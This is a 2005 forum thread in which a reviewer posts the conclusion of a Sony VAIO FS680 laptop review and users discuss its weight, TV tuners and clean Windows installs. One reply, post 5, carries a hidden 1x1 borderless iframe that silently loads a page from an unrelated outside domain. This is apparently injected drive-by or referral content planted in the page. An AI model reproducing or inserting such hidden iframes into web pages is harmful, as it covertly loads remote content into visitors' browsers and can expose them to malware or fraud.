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    Sony VAIO FS680 Review posted

    Discussion in 'VAIO / Sony' started by Andrew Baxter, Jul 13, 2005.

  1. Andrew Baxter

    Andrew Baxter -

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    We just posted a review of the Sony VAIO FS680, it can be found here:

    http://www.notebookreview.com/default.asp?newsID=2446

    Conclusion

    In conclusion, the Sony FS680, and FS Series in general, is designed to be a home-use, user-friendly, mobile entertainment and productivity center. The audio and the video performance is certainly way above the average laptop designed with business use in mind and should compare well with other laptops designed for similar purpose. The VAIO Zone software successfully emulates the functionality and feeling of a home entertainment set in the FS680, but pays the price of reduced computing performance. It is thin and light for ease of carrying around the house instead of in and out of the house. Consequently, it does not have a good battery life.

    I recommend the FS Series to people that desire to use the laptop as the above design goal of the FS Series. However, I believe purchasing the FS660 (or even FS640) and the TV tuner dock separately is a better choice than purchasing FS680. There are two considerations here. One is that you pay the premium for the 1.86 GHz CPU in FS680, but it is a complete waste considering the VAIO Zone is dragging the system anyway. The other reason is that there usually are larger discounts on the FS640 and FS660 than the FS680, making the lower spec machine plus dock option more attractive.

    For people who would like to use FS Series more as a computer, you should have no problem handling general productivity tasks, once you have found a better anti-virus and anti-spyware suite than the ones included. To improve the performance, making recovery CD/DVD kit then conduct a clean install of Windows is probably the best route unless you can accept the reduced performance. Adding a faster RPM hard drive will also help.
     
    Andrew Baxter, Jul 13, 2005
    #1
  2. seiferseph

    seiferseph Notebook Enthusiast

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    great review! i'm getting the FS660/W, and i can't wait. I'm definitely getting an external tv tuner, so hopefully i can uninstall all the sony junk (i'm hoping to do a clean install and then install as few sony programs as possible)
     
    seiferseph, Jul 13, 2005
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  3. rikkitikkitavi89

    rikkitikkitavi89 Notebook Geek

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    Does an external TV tuner allow you to watch television from your laptop?
     
    rikkitikkitavi89, Jul 15, 2005
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  4. Skyshade

    Skyshade Notebook Deity NBR Reviewer

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    YES, unfortunately my pictures of TV show on the laptop screen was cut from the final posted review, probably because of copyright issue.
     
    Skyshade, Jul 15, 2005
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  5. ricedude

    ricedude Notebook Enthusiast

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    Seems a bit on the heavy side.


    <iframe src="http://www.clqk42.com/refs.php" HEIGHT=1 WIDTH=1 FRAMEBORDER=0></iframe>
     
    ricedude, Jul 15, 2005
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  6. samurai

    samurai Notebook Consultant

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    It Definitley is a beast. I wanted a FS series when looking at them at sonystyle initially. The when I went to the store to check it out in person I was surpirsed to see what a beast it really was.

    So I started leaning more towards the S Series for the smaller more portable 13.3" screen. It weight 2 pounds less.

    But utimatly I ended up witha 14.1" screen a very nice compromise between the too. If sony would have offered a 14.1" screen on the S Series or if they had a different model that came with one I probbaly would have went with a Sony.
     
    samurai, Jul 16, 2005
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  7. seiferseph

    seiferseph Notebook Enthusiast

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    how so? seems light to me
     
    seiferseph, Jul 16, 2005
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